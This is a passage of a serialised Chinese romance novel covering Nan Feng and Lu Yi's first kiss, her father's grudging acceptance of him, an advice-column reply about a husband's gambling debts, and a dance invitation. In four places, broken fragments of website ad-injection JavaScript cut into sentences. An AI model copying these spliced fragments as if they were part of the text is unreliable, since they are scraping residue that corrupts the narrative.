脱下的衣物被整整齐齐地叠好放置在床角,但那么大的人却缩在了床和墙壁的空隙间,那里很窄,只有七十公分左右的距离,勉强挤得下两个人。他曲膝坐在地上,双手抱腿,额头抵着膝盖,这是他安慰自己的样子。小时候每次在孤儿院受欺负,他都会像现在这样找个没有人的空房间,抱着自己蜷缩在角落里,因为只有这个姿势才能令他感到安全。 “我做错什么事情了吗?”陆易浑身紧绷,眼里满是伤心和害怕,像是在经历一场逃不开的噩梦。好不容易等到了南枫的一句“喜欢”,他不希望被南淇坤讨厌,也不想失去她。 南枫对他的表现感到十分惊讶,毕竟爸爸也没有真的怎么样,怎么就被吓成这样了?转念想到他的身世,好像也不难理解他为何会有这么大的反应。陆易是在孤儿院长大的孩子,会害怕做错事而遭到过分严厉的责罚或是再度被抛弃,因为在他的成长过程中从来没得到过庇佑和关爱,想到这里,心脏深处传来一阵闷闷的钝痛。她蹲下身,温柔地轻抚他的小臂,语气柔和。 没等她说完陆易就意识到自己错在哪里了,此刻这个穿着白衬衫,领口微微敞开的成熟男人比任何人都脆弱,比任何人都渴望得到原谅:“对不起,是我错了。”他是夜里偷偷来的,天太黑,也没看清地上是不是有种东西,他觉得这个角度正好就直接动手了。 原来陆易就是昨天夜里的怪声制造者,南枫眼珠一转,嘴角微微扬起:“没事,不知者无罪,爸爸他会原谅你的。” 听到她的保证陆易才松了一口气,紧绷的神经终于得到放松。 “顾嘉诚是谁?” 南枫怔了一下,抬眼撞进一双醋意满满的双眼。没想到话题转得如此快,她稍稍反应了一会儿才回答道:“他是我的朋友,他爸爸是我的雇主,我是他弟弟妹妹的家庭老师。” “他喜欢你。”陆易浅色的眸底透着肯定与少许不悦,“你的戒指也是他送的,对吗?”南枫只能点点头,心想这男人的第六感还挺准:“但我们不是那种关系,只是普通的好朋友,戒指我第二天就还给他了。” “你不喜欢他,”陆易慢悠悠地总结道,舒展着有些发麻的长腿,“你喜欢我。” 南枫身体一僵,半掩在长发下的耳尖被染了色,虽然早上的时候她确实亲口承认了喜欢他,但如此近的距离让这句“喜欢”也沾上了绯色的红晕,于是脸颊也没忍住红成了一片。陆易将她的表现尽收眼底,抬手捏了捏她的耳垂,细细品味她的每一个反应。他慢慢靠近,原本捏着她耳朵的手也在慢慢转移阵地。 “你,你去哪里弄来这么多花?”南枫岔开话题,如果不阻止他只怕心脏会在下一秒爆裂。不过她也是真的好奇,因为现在已经没有人在卖鲜花了,况且还是这么 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 庞大的数量。 陆易果然停下了,“一位好心的老板介绍的。喜欢吗?”他说得简单,其实他跑遍了全城,最后在服装店老板的介绍下才从他乡下的亲戚手上买下了这一批,为此他废了不少口舌,因为人家是自己喜欢才种着观赏的,每天浇水施肥费了不少心思,突然来一个人说想买下并全部移走,放谁身上都舍不得。 他当然也赶了很多路,将这么庞大数目的鲜花连根挖出再移植过来可不是一项简单的工作,需要很细心,也需要很大的耐心。那时他刚确定南枫是单身,也确定她对自己有好感,他强忍着对她满满的思念,雇了几个小时工,自己也跟着他们一起,花上好几个小时趴在泥地里干活,累到全身僵硬。可只要想到南枫见到这些能开心,便不觉得有多辛苦。 两个人突然都不说话了,房间里安静无比,只有吊顶扇在每转完一圈后发出“吱”的一声。电扇的风带动女人的发丝在男人散开几粒纽扣的胸口上画着画,弄得他有些痒,那一丝丝的不适从脖子处钻进了身体,痒得他连喉咙都开始发干。 喜欢的人就在眼前,而她不久前也说了喜欢自己。南枫的唇形饱满,颜色粉嫩,陆易盯着看了一会儿,再一次情不自禁地靠近,每接近一寸他就抬眼看她一眼,是在争取她的同意。 “喜欢。” 在两人之间只剩下两公分距离的时候,南枫才回答了他方才问的问题——喜欢,喜欢他送的花,喜欢他,也喜欢他接下来要对她做的事。 陆易毫不犹豫地闭上双眼,将嘴唇贴了上去,同时扶着她的大腿将她双腿分开分别搭在自己腰侧,以便她能以最轻松舒适的坐姿接纳自己的热情,疗伤的那一次他就想这么做了。南枫再一次被他的气息包围,脖子后边的手固定着她的头,背上的大手则不断将她往他的方面按压。 南枫的手掌紧贴着他发烫的胸口,虽然她也在积极地回应这个吻,却因是第一次而掌握不好换气的诀窍,导致很快缺氧,不断发出像小猫一样的“嗯嗯”声,出于求生本能,双手也无意识地在推开他。 陆易好心地松开禁锢着她的手,但也只给了半秒钟的喘息时间便又贴了上去。他抓着她的手腕往自己身后带,南枫得到指示乖乖地抱住他的脖子,两具发热的灵魂紧紧地贴合在一起。湿热柔软的双唇互相吮吸,忘我地亲吻着对方。满室静谧,动作久久未停,能够清晰地听见湿肉相互纠缠的声响,挑动着神经。 餐桌上已经冷掉的饭菜开始闹情绪,若不是两个人的肚子同时发出了“咕噜噜”的抗议,这个双方都略显害羞却又缠绵悱恻的初次亲吻不知道还会持续多久。 被声音吓到的两人终于舍得分开,这才意识到从昨晚到现在一点东西都没吃过,南枫也终于想起来自己之所以会上楼是为了喊他下楼吃饭的。 12. 来信 您好, 心中苦闷无人诉说,不知可否打扰您几分钟时间看完? 我原本是飞洛人,因为爱上一个男人不远千里背井离乡来到半山,原以为会从此过上幸福快乐的生活,谁知丈夫爱赌,因此负债累累。家中父母曾劝我结束这场婚姻回到飞洛去,可是我舍不得。 他是一个脾气极其暴躁的人,唯独对我关怀备至,从来不曾打骂我,在得知我怀孕后更是彻底戒了赌!虽然日子依旧很辛苦,可我坚信只要我们一起努力一切就可以回到正轨上,但是他突然失踪了。 大约十天前的一个晚上,他比平时晚些到家,神色十分慌张,到了清晨又提着铲子偷偷溜出去,至于是去做什么,我追问了好几遍也没问出个结果。到了中午他回来,脸色比前一天晚上更加难看,他看向我的眼神满是愧疚与不舍,虽然生活一直艰巨,但也是头一次见他露出这样绝望的表情。我感到万分不安,可刚出生不久的孩子在身旁一直哭个不停,我便没再追问下去,谁知他第二天就不见了。 他给我留了家里所有的钱,一张让我回飞洛的字条,还有一份离婚协议。我本想在家里等他回来,可至此之后每个晚上都有混混上门要债,说是我丈夫欠下的,我只好连夜带着儿子逃离那个家。 我刚生下孩子不久,身体虚弱,没人会愿意雇佣我这样的员工。身上剩下的钱不多了,不知能苟活到几时。也许回飞洛是唯一的退路,可我已经错过了回去的最佳时机。 若看到这里,愿您不会像我这般痛苦,希望您一生平安! * 这封信是南枫几天前拿到的,只不过一直没有做好回信的准备,面对写信人遭受的苦难说几句好听的安慰话根本无济于事,这个可怜的女人需要的是实质意义上的帮助。于是她走访了几家单位,翻阅了许多资料,今日才坐下来将搜集到的咨询一一告知。 * 您好, 您在信中提及到了您丈夫欠下的赌债问题,据我目前了解到的,赌博是违法行为,赌债是不受法律保护的。此外,赌债是您丈夫的个人行为产生,它不属于夫妻共同债务,您无须偿还,若是再有混混上门闹事可以直接报警处理。 另外,不知道您是否申请了低保补助呢?若没有,您可以上社区的民政部门了解一下,也许钱不会太多,但我想无论如何都可以派上用场的。以上的信息,希望可以对您和孩子的生活有所帮助。 至于你们夫妻二人的婚姻关系,我本不便多作评价。但同为女性,我对您的遭遇感到十分遗憾。既然他留下了离婚协议书,我想您可以重新考虑一下是否愿意将这段婚姻继续下去。 现两国边境已关,回去那边确实不太容易实现。生活不易,希望您可以为了自己和孩子再努力坚持一下! 来信没有落款,我想您可能不愿意透露姓名,我可以称呼您为小希吗? 若有需要,请再来信。 都城晚报,南枫 * 太阳变成了一个金灿灿的圆球,被夕阳染红的花田在风中摇曳生姿,如此美好的一幕让南淇坤不禁满含热泪,因为他想起了那个已经离开他很久的女人。 刚结束工作的南枫来到父亲身边,只不过随口感叹了一句“夕阳真美”,却令南淇坤的心脏停跳了一拍。南枫的声音与她母亲的有六分相似,恍惚间,还以为是爱人又回到自己身边了。这怎么可能呢?她不会再出现了。南淇坤看着女儿,心中涌起一股欣慰与骄傲,是啊,还有南枫在啊,他愿意拿一切换女儿一世无忧。 夕阳无限好,可之后便是漫长的黑夜,也正是因为这个原因黄昏总给人带来一种悲凉的感受,在这样的情景下想起已故的妻子,心头更觉酸涩。对于爱人的离世他无能为力,但至少能保证让女儿过上衣食无忧且精神世界充盈的生活。 “南枫,我希望你可以平安快乐一辈子,你可以全心全意按自己的意愿活着。”爸爸的声音裹着风声而来,不太清晰却格外沉稳,给人非常值得依靠的感觉,与他平日里爱打趣的形象非常有反差感。 “爸爸永远不会强迫你、约束你。之前你老说自己并不是非结婚不可,我以前会担心你没人照顾,现在想想,我觉得你说得很有道理。我愿你自在如风,而非被囚禁的鸟。如果你找不到愿意与之成婚之人,就和爸爸一起开开心心地生活吧!” 南枫听后不禁鼻子一酸,她很感动,尤其是在这样的黄昏时刻这些话才越发令人动容,而她,是不愿意哭的。 即便母亲过世了这么过年父亲依旧深爱着她,曾经有人问他为何不再找个人作伴?他们都以为南淇坤是担心女儿不能接受新妈妈,所以才选择一直独身。为此,南枫还特意与父亲深聊过一次,南淇坤是她的父亲没错,可他首先是他自己,应该从自身的幸福出发考虑。 南淇坤知晓她的想法后只是摇摇头,“遇见你妈妈后我的心就被填满了,没办法再装下其他人。”这便是他给南枫的答案。 风吹草地,远处及膝的草堆里好像躺着个人,于是原本温馨的场景在南枫的一声尖叫中拉上了帷幕。南淇坤误以为女儿是被虫子吓着了,护女心切的他从藤椅上跳起来,双手在空气中毫无章法地划拉了几下,嘴里嘟囔着让虫子都闪开。 锐利的尖叫声,被吓着的不只南淇坤一个,只见草丛里那具“尸体”被刺激得浑身一颤,然后就像被装上弹簧一样从地上弹起。 南枫:“陆易!?” 南淇坤:“陆易!?” 可怜的陆易已经连着几天没睡过好觉了,先是买花、种花忙了一通,南枫的接受令他情绪高涨,南淇坤的责怪又让他的心情跌到谷底,短时间内急上急下的情绪体验令他疲惫万分。 午餐过后南枫便进了房间工作,而陆易为了赎罪则跑下山买来油菜花种子,希望能赶在南淇坤回来前弥补自己的罪过。直到最后一颗种子入土他才安心地长舒了一口气,紧绷的神经在瞬间得到解放,下一秒便是翻涌而来的疲倦感,原本只是想躺下喘口气,没想到就这样睡着了。 夜幕低垂,深蓝色的薄雾笼罩大地。 锅里炖着玉米排骨汤,南枫守着炉灶却十分挂心外面的情况,时不时地竖起耳朵偷听动静。餐桌上,陆易当然已经完 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 全清醒,甚至连坐姿都比平日里更端正了些。南淇坤坐在他对面,拉着张脸翻动手中的报纸,时不时地丢过去几个不满的眼神,在看到陆易脏兮兮的白衬衫后更是不屑地“哼”了一声,幼稚地摆出一个不会轻易被讨好的表情。 (第一回合) 南淇坤:“睡在那里做什么?” 陆易:“抱歉,有些累不小心睡着了。伯父,我先前不知道,很抱歉糟蹋了您的劳动成果。我已经重新种下了,希望您可以消消气。” 南淇坤冷哼一声道:“如果你以为这样我就会原谅你的话,那你就错了!” 陆易:“是!” (第二回合) 南淇坤:“那些花是怎么一回事?” 陆易道歉诚意十足,不仅态度诚恳事情更是做得有模有样,南淇坤虽然嘴上说着不原谅,实则脸色已经缓和了不少。这时,南枫端着煮好的晚餐回到餐桌,随后小心翼翼地在陆易旁边坐下。南淇坤眼神一滞,原本已经柔和下来的表情再一次反转,南枫见状立马端起自己的碗筷乖乖移到父亲身边落座,及时平息了风波。 南淇坤:“花了不少钱吧?” 陆易很诚实:“不太容易买到,确实花了挺多钱的。” 南淇坤瘪了瘪嘴,将报纸折好丢到一边,不经意地一问:“你花钱向来这么大手大脚的吗?” 陆易:“不是的!我一直一个人所以花钱的地方少,这么多年下来也存了一些钱。确实是一笔不小的支出,但南枫说她很喜欢,所以这个钱我认为花得很值。” (第三回合) 南淇坤:“那是我的地!谁允许你这样乱来的?再说了,这事白天不能做吗?” 陆易:“抱歉!我一心想给南枫准备惊喜,所以才做了蠢事。” 南淇坤盛汤的手一顿:“惊喜?” “嗯!”陆易张嘴就来,丝毫没察觉到对方语气里带着危险信号,“我希望南枫一早醒来就能收到我送她的这一份礼物,我觉得这样比较浪漫,所以才偷偷摸摸地大半夜上山来。” 浪漫? 南淇坤瞬间黑了脸,一口汤差点没能咽下去,而一直没吭声的南枫则借着喝水的动作偷偷地笑了。 (第四回合) 南淇坤:“你想追我女儿?我女儿可不是什么人都配得上的,她是我的宝贝!” 陆易挺了挺胸膛开始自报家门,将自己的成长经历以及家庭情况和工作状态如实相告。他向南淇坤保证,自己虽然出生不好但无任何不良嗜好,他喜欢南枫,也一定会好好珍惜她,只希望南淇坤可以给他一个表现的机会。 关于他的身世南淇坤也是知道的,孤儿院里的生活能好到哪里去?他虽然没去过但多少也听人讲起过,食不果腹,衣不蔽体,更别说爱了。 虽然他后来被陆家接了回去,可父亲懦弱,继母无情,他在如此恶劣的环境下长大,哪里能懂得真正的关心和爱是什么?他懂爱吗?他会爱吗?南淇坤作为长辈对他的遭遇深表同情,他也心疼他,可是一码归一码,南枫是他的孩子,他绝对不会把女儿交给这样的人。 13. 完整的我 夜色融融,月影遍地,也许有些话只有深处黑暗时才能讲得出口,那些带着刺和缺口的时光与经历是烙在他身上的伤疤,他从不轻易对旁人提起,以前是没人说,后来是不敢说,现在却能坦然地宣之于口,因为陆易知道,真诚是一切的前提,他希望走进南枫的心里,自然也愿意让她了解完整的自己。 没人知道他的亲生母亲来自哪里,只知道她并不是半山本地人。在那个年代,女人很难靠工作养活自己,她们唯一的出路就是找个男人嫁了。就如同无数篇悲情故事的开局,年轻的她遇见了一个事业有成、风度翩翩的男人,本以为终于找到了依靠,谁想却是个已经有家室的男人。 得知真相的时候已经晚了,她挺着隆起的肚子站在陆家庭院,身边围了一圈看戏的下人,当陆家女主人对她百般羞辱时,承诺会给她安稳生活的那个男人却始终一语不发,仿佛他们从不曾在深夜相拥过。那一刻,山崩地裂。她不吵不闹,带着死去的心产下了一名男婴,后因失血过多离开了这个不曾善待过她的世界。 也许放在现在是个俗套得不能再俗套的故事,却是旧社会许多女子面临的真实遭遇,即便到了如今,也不能说女性已经完全摆脱了被定义为附属品的残忍现实,南枫只觉得不公平,也时刻自我警醒。 也许比起陆易她要幸运很多,爸爸照顾得她很好,只不过有些少女心思还是会希望同母亲诉说,虽然她和妈妈相处过一段时光,可毕竟那时候她还很小,到了现在也只剩朦胧的印象。但即便如此,即使是这样模糊不清的记忆,依旧时常勾起她心中对这份缺失爱意的向往。她会怀念是因为曾经得到过,如果陆易不曾拥有过,是否就会少一些悲伤呢? 陆易将这些令他难以启齿的过往一件件摆在她面前,连他自己都没想到可以用这样轻松的语气对她说出来。南枫听着却心疼不已,出现在她面前的陆易一直是温暖热情的,很难想象这样的笑容背后是那样的成长经历。 陆易转过头与她对视,染上夜色的眸底流动着星光,柔情径自蔓延至唇角。也许人生来就是贪婪的,一开始他的诉求非常简单,只是希望可以吃饱穿暖,可当物质得到满足后想要的就更多了。 他牵起她的手握在掌心:“我原本以为我会这样独自过完这一生,没有人期待我的到来,也没有人在意我如何离去。直到我遇见了你,我想着,是不是我的故事可以有一个不一样的结局?所以我生平第一次冲动了,我迫不及待地出现在你面前,告诉你我喜欢你。 伯父的顾虑我清楚,他怕我没有爱人的能力,担心你会受欺负。我承认,我从不曾得到过任何人的爱,可我也是个渴望爱的人,正因为我经历过最坏,所以才知道什么是好的。我知道要给你足够的食物你才不会挨饿,我知道被子里的棉花结块了应该拍一拍才会暖,我不会打你骂你,不会不听你解释就随意揣测你、定义你。 我有一些积蓄,不多也不少,但都是我自己赚的,虽然不能大富大贵但也足够好好生活。我会好好对你,也会好好对伯父的。你愿意和我在一起吗?” 南枫没有立马回答这个问题,只是垂下眼帘,低头沉思。如墨的夜藏起了她的颜色,他没办法从她的表情上获取信息,因此变得格外焦虑。陆易的指尖不受控制地颤抖,心脏像被一只铁爪攥紧,仿佛下一秒就会在体内爆裂。过了好一会儿后,她将自己的手从他手心抽出,随即温柔地覆上他的,“我们不是已经在一起了吗?” 如同烟花在夜空中绽放,男人的眸底映射出五彩斑斓的喜悦,他如释重负般地长舒一口气,感激到几乎哽咽:“我一定会好好表现,一定会争取到伯父的信任。” 南枫莞尔一笑,将他的手握得更紧了些:“你放心,我见证了你闪烁着蓝色光芒的羽翼。我看见了你,喜欢你,想要呵护你。你不会孤独地消逝、无人问津。终点,我会在那里陪着你。” 漫天璀璨的星光下,两人的目光沾到一起便不愿再分开。眼神交汇,他的目光逐渐灼热,如一段薄如蝉翼的绸带将她眸中细碎的星芒收揽于怀中,温柔缱绻,光彩琉璃。 “南枫!你是不是可以回来了!” 父亲稍显愤怒的呼喊从不远处传来,一双恋人只好牵着彼此的手站起身,青涩地拥抱道别,等南淇坤气急败坏地赶到楼下时陆易早已不见了踪影。 南枫不解地看着父亲,不明白他为何这么生气,是他自己说已经原谅了油菜花的事,而且他不仅夸了陆易农活干得不错,还答应了会给他证明自己的机会,那现在这般又是为何?再说了,他们刚刚只不过是坐着聊天,又没有做任何出格的事。 说到出格的事,南枫脸一热,不自在地撇过头。 南淇坤抿着唇,一脸不高兴地看了一眼自家女儿:“哼,还自在如风呢,我看你也不想风了。” “我只是不想受旧观念的约束,又不是要出家当尼姑。” 南枫轻飘飘地回了这么一句就上楼去了,留下老父亲独自在夜风中凌乱。 * 虽然已经在电话里作出解释,南枫还是选择在下课后专程来和顾老爷致歉。顾正庭本就很满意她,笑着说没事,既然已经把课时补上了,这件事就没必要再提了。 刚关上书房的门就被一个男人大力拖走,不见其人,先闻其香,对方身上的古龙水味道太过熟悉,让南枫一下就知道了来人的身份,于是她放弃了呼救,认命地跟他走。到了僻静的后院顾嘉诚才停下脚步,接着便转过头来一脸埋怨地盯着她,却臭着脸不说话,像是在等她主动认错。 南枫晃了晃手腕示意他松开,不肯,直到她失去耐心不高兴地皱起眉顾嘉诚才听话。这人手上总是没轻没重的,南枫将厚重的书本夹在手臂和胸腹间,揉了揉有些疼的手腕,问他带自己来这里做什么。 “你还知道来上课?” 顾嘉诚的态度非常不好,显然完全没有意识到自己的问题,南枫是气他之前的表现的,见他这莫名其妙的兴师问罪模样就来气,根本不想和他说话。 “好了好了,我不说这个了。”见她不搭理自己转头就走,顾嘉诚怂得很快。 南枫:“还有什么想说的吗?” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 顾嘉诚平静了不少,看向她的眼神里全是委屈与深深的担忧:“你喜欢那个家伙吗?” 南枫蹙了蹙眉,明知故问道:“哪个家伙?” 见她装傻,顾嘉诚的少爷脾气又上来了:“还能是哪个家伙?就上次送你花的那个谁啊!” 南枫不开心地看着他,严肃地纠正道:“不是那个家伙,那个谁,他有名字,叫陆易。” “我管他叫什么!”顾嘉诚不耐烦地嚷嚷着,难道还要要求他对情敌讲礼数吗?他一副气极了的模样,握着南枫的肩膀前后摇晃,问她是不是喜欢那个男人,问她会不会和他在一起。 “是。我喜欢他,我们已经在一起了。” 她的回答像一记重拳狠狠地打在他身上,顾嘉诚不敢置信地低下头,苦笑了一声,如墨的眼底恍若镀上了一层白霜。 南枫对林影介绍给她的未婚男性始终无动于衷,她的社交圈子很窄,顾嘉诚认识她身边的每一个人,他是她唯一的异性朋友,于是他天真地以为,到了最后怎么样都会是他。所以即使被拒绝了一次他也一点都不着急,他以为只要再等上一段时间南枫就会喜欢上他了,可好端端的,从哪里突然冒出来这样一个人? 顾嘉诚一直低着头,说话的语速很慢:“你们才认识多久?你就跟他在一起了。”即使南枫有所顾虑,林影为什么只字不提呢?因此他断定两人认识的时间不长。 “感情不问先来后到,也无关时间长短。这些都不重要,是不是真心喜欢才比较重要。” 喜欢?顾嘉诚痛苦地抿了抿唇,回想起上次面对他的表白南枫脱口而出的拒绝,原来不是时机未到,是根本就不喜欢他,先前的自信不过就是一场笑话。 “我还以为你不会喜欢上任何人呢。” 顾嘉诚的声音低哑疲倦,说出这句话的时候早就没了一开始的架势,语气里是满满的不甘心和隐忍,与平时嚣张跋扈的样子很不一样。南枫自然看得出来,她不忍心见到他这副样子,低低地唤了声他的名字,表情不再像上一秒那般严肃,语气也柔和了下来。 顾嘉诚不愿意听她说些酸里酸气的安慰话,他松开她的肩膀,双手插兜,强迫自己摆出一副没什么大不了的模样并转移了话题:“你们怎么认识的?” “你知道大概十年前,城里有一户姓陆的人家吗?” 顾嘉诚疑惑地抬起头看她,“陆?你是说发生火灾的那个陆家吗?” “嗯。” “他就是陆家那个儿子?”顾嘉诚一脸惊讶,随即又摆出担忧和教训的姿态来:“你这好不容易谈个恋爱怎么还往枪口上撞?大家可不喜欢这个人,你跟他走在一起会倒大霉的,不知道会被那群上了年纪的碎嘴怎么说呢!” 明明是关心的话,可从他嘴里说出来硬是让人无法开心起来。南枫本想说回去,可现在已经很晚了,她必须要在天黑之前赶回家。 “多谢关心,这位朋友。” 顾嘉诚看着她远去的背影脸色越发苍白,直到她的身影彻底消失,还是一动不动,只觉周身冰冷,手脚麻木。 14. 请问陆先生会跳舞吗? 梅雨季的雨丝细而轻,不仔细看的话有时候甚至很难确定是不是真的在下雨。清风裹挟着雨水,出门一趟后回来,很难保证身上还是干燥的状态,不是头发就是裤脚,雨水总是会想尽办法在人们的身上留下自己的痕迹。 刚出顾家大门,眉目清朗的男人便展开笑颜向她走来,顺便晃了晃手上提着的袋子,一脸求夸奖的神情,但只要南枫好奇地凑近,他又会欲情故纵地将袋子藏到身后。南枫以为这是陆易调皮的一面,但他只是不想让她看清袋子里的东西罢了。 “我买了鸡,今天炖鸡汤喝好吗?”陆易用干净的那只手牵起她往家回,又将另一只手上的袋子提远了一些,他记得南枫不喜欢闻生肉的味道。 两人到家的时候南淇坤正坐在门口看报纸,一条腿伸得笔直,搭在一张和他身下轮椅相同高度的凳子上。南淇坤受伤了,雨天路滑不小心摔了一跤摔伤了腿,陆易当时正好路过,背着他二话不说直奔医院,虽说伤得不算多严重,但近一周是没办法下地的。 有课的时候南枫都会在顾家用午餐,如果中午要回来给自己和爸爸做饭的话时间会非常赶,基本上吃完饭就要起身下山,陆易不愿意她这么累,便把照顾南淇坤的工作揽了下来。 陆易对做饭一窍不通,好在悟性够,在南淇坤的指导下也算能做出像样的一餐饭来,不仅仅是做饭,浇水施肥、打扫卫生全部都需要他来,有时候南淇坤觉得闷了,陆易就会推着轮椅陪他下山,上下坡的路走起来有一定的难度,每每都紧张得出不少汗。 * 砂锅的保温性很好,陆易将里边完整的鸡切割成合适的大小,挑了肉比较嫩的部分夹到南枫的碟子里晾着。 “你手臂那边怎么了?”南枫盯着他手臂上的纱布问道,刚刚没发现,现在他挽起袖子才看到。陆易顺着她的目光看了一眼,随后笑着对她摇了摇头,“不严重,今天修东西的时候不小心划伤的。” 听到这里,南淇坤看向正心满意足喝着鸡汤的某人。他是知道这伤怎么来的,今天下午来了一位维修工大哥,说是陆家宅子的屋顶漏水了,如果不及时修好的话屋子里面就全糟蹋了。这位维修工是陆易雇来定时上门给陆宅做清洁修缮工作的,他在饭店没找到人,后来听街上的陈伯说也许在半山那户人家哪儿,他便来碰碰运气,没想到人还真在这儿。南淇坤在家里待了好几日,本就闷得发慌,听说他要下山便说自己也要跟着去。 距离火灾发生已经过去了十来年,但因为有定期维护所以房子保持得还算不错。陆易和大哥一起爬上房顶,修补期间维修工不慎脚下一滑差点摔下去,被陆易看到及时抓住,胳膊上的伤就是那个时候划伤的。从那么高的房顶上掉下来不死也会摔残,维修工大哥下来后浑身爆冷汗,四肢更是止不住地发抖。 南淇坤从他口中得知这不是陆易第一次救他,自从那场大火后,虽然陆家的人都不在了,但陆易还是得住在这边,整修宅子的期间就发生过不少危险的事情,十七岁的陆易看着不爱搭理人,实则是个心善的好孩子,他曾不止一次看到陆易默默地将对着人的尖锐工具调转了一个方向。 维修工:“原本我也和大家的想法一样,觉得他是个不吉利的人,后来只觉得荒谬至极。他只是一个运气不好的孩子,孤零零的一个人,之前没见有人关心他,等他继承了陆家的一大笔遗产后倒是来了很多自称是远房亲戚的人对他嘘寒问暖。我知道这些人什么心思,他们也够狠,在这孩子放学回家的路上搞出不少事来,只要陆易一消失,这钱不就顺理成章地被他们瓜分了嘛!” 陆易不仅请他照料房子,他自己也会五年回来一次,去看一眼从没见过面的母亲和哥哥,只相处了一个月的狠心父亲和继母,以及对他照顾有佳的赵妈。南淇坤听后若有所思,明明是陆家对不起他在先,他却能做到如此体面,实在是他没有想到的。 手臂上的伤口开始不断地往外渗血,南淇坤催他去诊所处理一下,陆易却说不用,反而带着他回到了饭店的房间里,说是上次买了很多包扎伤口的东西还没用完,正好可以派上用场。 雨声窸窣,一阵密,一阵疏,滚滚乌云压在城市上空,让人有些心烦意乱。南淇坤喝了一口茶水算作正式结束这一餐,随后出声唤在厨房里和南枫抢着洗碗的陆易过来。 南淇坤:“这一次回来打算待多久?” 陆易明白他的意思,他看了一眼厨房的方向,坚定地回答道:“不走了。” “不走了。”南淇坤低低地重复了一句,“那你今后有什么打算?就算不缺钱也不能整天这样无所事事的,年轻人总该找些事做才是。” “我有在考虑的。我本来是打算开一家花店,因为南枫喜欢花,但现在这种情况开花店只能赔本,所以我还在想其他的办法。饭店的房间我租了一整个月,等到期了会找个房子搬出去,房子的租金加上店铺的租金,这一下子会花出去不少钱,所以我想慎重一些,想好了再开始。” 南淇坤能理解他不愿意住陆宅的原因,而且现在做生意确实不容易,他想一步步踏实地来也不是件坏事,陆易手握一大笔遗产还能想到要合理地规划财务,这一点在南淇坤这里算是个加分项。 “我没用那些钱。”陆易乖巧地笑了笑,“除了和陆家房子相关的支出,我花的钱都是靠自己工作赚来的。” 南淇坤听后顿了顿,最后表情复杂地瘪了瘪嘴——好吧,又是一个加分项。 聊完正事后就差不多到了分开的时间,两人依旧只能在南淇坤的监视下互道晚安。 “晚餐时间一眨眼就过去了。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ”两人面对面站着,陆易牵着南枫的双手,有些不开心地嘀咕了一句,“要不我们以后吃火锅吧?火锅可以吃好几个小时。往北走有一个小国家,那里常年湿冷,而且日照时间非常短,那里的人每天晚上都会和朋友家人围在一起吃火辣辣的火锅,一吃就是一个晚上。” “你休想,我不准,我不喜欢。”还没等南枫回答头顶便传来了南淇坤的拒绝,听起来没有任何商量的余地。陆易瞄了一眼不远处的南淇坤,委屈地垂下眼,顺便压低了声音,“我明天还去接你好吗?” 除了周末两天南枫每天都要去上班,吃饭的时候南淇坤又全程在,两人根本没有单独相处的时间,但如果去接她下班就不一样了,至少回家的这二十来分钟是属于他们两个人的。 见他一副小心翼翼的模样,与当日在市场上雷厉风行的样子大相径庭,南枫忍俊不禁,“明天不行,明天我要先去见一个朋友再回来,我们在家里见吧。” “朋友?”陆易紧张地皱了皱眉,“顾嘉诚吗?” 南枫笑着摇摇头,“我也是有其他朋友的好吗?”随后从怀里抽出一张卡片塞到他手里。这是林影今天托人专程送到顾家给她的,是一张舞会的邀请函,封面上写着——仲夏夜,萤火之舞。 “7月10日晚上的仲夏夜舞会,你愿意陪我去吗?” “舞会。”陆易从来没参加过什么舞会,他好奇地翻开来看了看,随即惊讶地睁大了双眼,“要跳舞?” 南枫“嗯”了一声,一脸期待地看着他。这是一场特殊的舞会,是今年专门为了仲夜夏举办的,往年没有过。这次的舞会需要两个人搭档参加,并且学会一段舞蹈,届时参加的人会集中在会所的水晶灯下一起翩翩起舞。 按照往常南枫是不会参加的,南枫虽文艺浪漫,但跳舞?她不太会,可她有兴趣,尤其是在认识陆易之后。收到卡片后她便不自觉地开始幻想陆易穿着纯黑西服跳舞的摸样,忍不住笑出声,他那样硬邦邦的身体,看起来不像是会跳舞的人。 陆易确实有些力不从心,无奈地眨了眨眼,“我的舞姿恐怕会让南枫小姐丢脸。” “没关系,我也不会,正好我们谁都不嫌弃谁一起好好练习嘛。你愿意吗?” 南枫扬着唇角,勾勒出甜蜜的弧度,明亮的双眸灿如繁星。最主要的是,她的脸上挂着娇羞和请求的表情,这还是陆易头一次看到,根本没办法拒绝:“可以,如果你愿意当我的老师教会我的话。” 天地缝合,融为一体,水洗后的月亮如玉盘悬于夜空。 门廊下黄色的灯光映在年轻男女的脸上,将他们对对方的爱意恰到好处地传达。两人牵着彼此的手,手指纠缠,无声地玩了一会儿,直到南淇坤带着警告的咳嗽声响起才依依不舍地互道“晚安”。 15. 顾家出事 顾家今天的氛围非常不对,下人们看似在干活实则心不在焉,南枫上完课出来,路径客厅时发现里面早已乱成一锅粥。顾伯母坐在沙发上掩面哭泣,几个仆人围在她身边,嘴里有一句没一句地安慰着,旁边还有一个表情生硬的顾嘉诚。 本不想打听雇主家的私事,可顾家上下人人都待她很好,如果有什么是她可以帮上忙的就再好不过了。南枫最终还是决定进去问一下情况,听到她的声音,屋内的混乱稍有停歇,顾嘉诚的神色依旧冷峻,薄唇抿成一条直线,但眼底酝酿的风暴似乎褪去了一些。 顾太太上前拉着南枫又是一通哭闹,透明的泪珠粘上睫毛膏,她又时不时地用手帕擦拭,很快便弄花了脸。三个佣人见状迅速围了上来,扶着她坐回沙发上,其中一个不断地轻拍顾太太的背,生怕她再晕过去。场面再度变得吵闹,顾伯母的哭喊和佣人们的七嘴八舌,那声音像一团越缠越紧的棉线球,萦绕在头顶久久不能散去。南枫很想弄清楚发生了什么,却始终没能搞明白。 这时,已经到极限的顾嘉诚起身走了过来,拉着她离开了这个乌烟瘴气的地方去到偏厅的茶室,那里离正厅远,倒是十分安静。沏好茶后顾嘉诚仍旧没有回答她的疑问,甚至没有抬眼看她,只是盯着手心的茶杯。南枫便不再追问了,安静地等着,等他平复好心情。 